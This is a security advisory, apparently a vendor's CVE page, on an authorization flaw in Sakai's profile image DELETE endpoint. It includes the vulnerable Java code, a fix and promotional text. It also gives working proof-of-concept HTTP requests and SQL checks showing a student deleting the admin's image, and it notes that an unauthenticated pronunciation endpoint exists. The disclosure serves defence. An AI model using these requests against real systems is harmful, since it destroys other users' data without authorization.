CVE-2026-54050 is a medium-severity (CVSS 6.5) vulnerability in org.sakaiproject.profile2:profile2-api. O3 Security confirms whether CVE-2026-54050 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Sakai Profile Image Deletion has an IDOR
Real-World Exposure
org.sakaiproject.profile2:profile2-api☕org.sakaiproject.profile2:profile2-api☕org.sakaiproject.profile2:profile2-impl☕org.sakaiproject.profile2:profile2-implReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.
Details
ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
String currentUserId = checkSakaiSession().getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId); // userId is attacker-controlled
return ResponseEntity.ok().build();
}
ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.
For contrast, the upload endpoint setProfileImage() correctly verifies ownership:
if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {
throw new SecurityException("Not allowed to save.");
}
This asymmetry means any authenticated user can delete but not upload over another user's profile image.
Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.
Setup:
- Admin user:
admin, with a custom profile image uploaded - Attacker:
student2(unprivileged user, SAKAIID cookie from authenticated session)
Step 1 - Admin uploads profile image (confirm non-default state):
POST /api/users/admin/profile/image HTTP/1.1
Cookie: SAKAIID=<admin-session>
Content-Type: application/x-www-form-urlencoded
base64=<base64-encoded-png>
Response: {"status":"SUCCESS"}
Step 2 - Verify image exists in database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9
Step 3 - Attacker (student2) deletes admin's profile image:
DELETE /api/users/admin/profile/image HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb
Response: HTTP/1.1 200
Step 4 - Verify image is gone from database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: (empty - row deleted)
The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.
Impact
Any authenticated user (student, guest) can:
- Permanently delete the profile image of any other user, including administrators and instructors
- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture
- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows
The attack is trivially scriptable and can target all users on the platform in bulk.
Suggested Remediation
In ProfileController.removeProfileImage(), add an ownership check before calling the service:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
Session session = checkSakaiSession();
String currentUserId = session.getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
// Add this check:
if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId);
return ResponseEntity.ok().build();
}
Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().
For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.
Status / timeline:
- 2026-06-02: Fix committed to master (
a092dbf3dc6bf343131f50007c207a9abd95e852) - Release pending.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.sakaiproject.profile2:profile2-api | ≥ 23.0&&< 23.5 | 23.5 |
| ☕Maven | org.sakaiproject.profile2:profile2-api | ≥ 25.0 | No fix |
| ☕Maven | org.sakaiproject.profile2:profile2-impl | ≥ 23.0&&< 23.5 | 23.5 |
| ☕Maven | org.sakaiproject.profile2:profile2-impl | ≥ 25.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.sakaiproject.profile2:profile2-api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.sakaiproject.profile2:profile2-api to 23.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54050 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-54050 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-54050. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-54050 in your dependencies?
O3 detects CVE-2026-54050 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.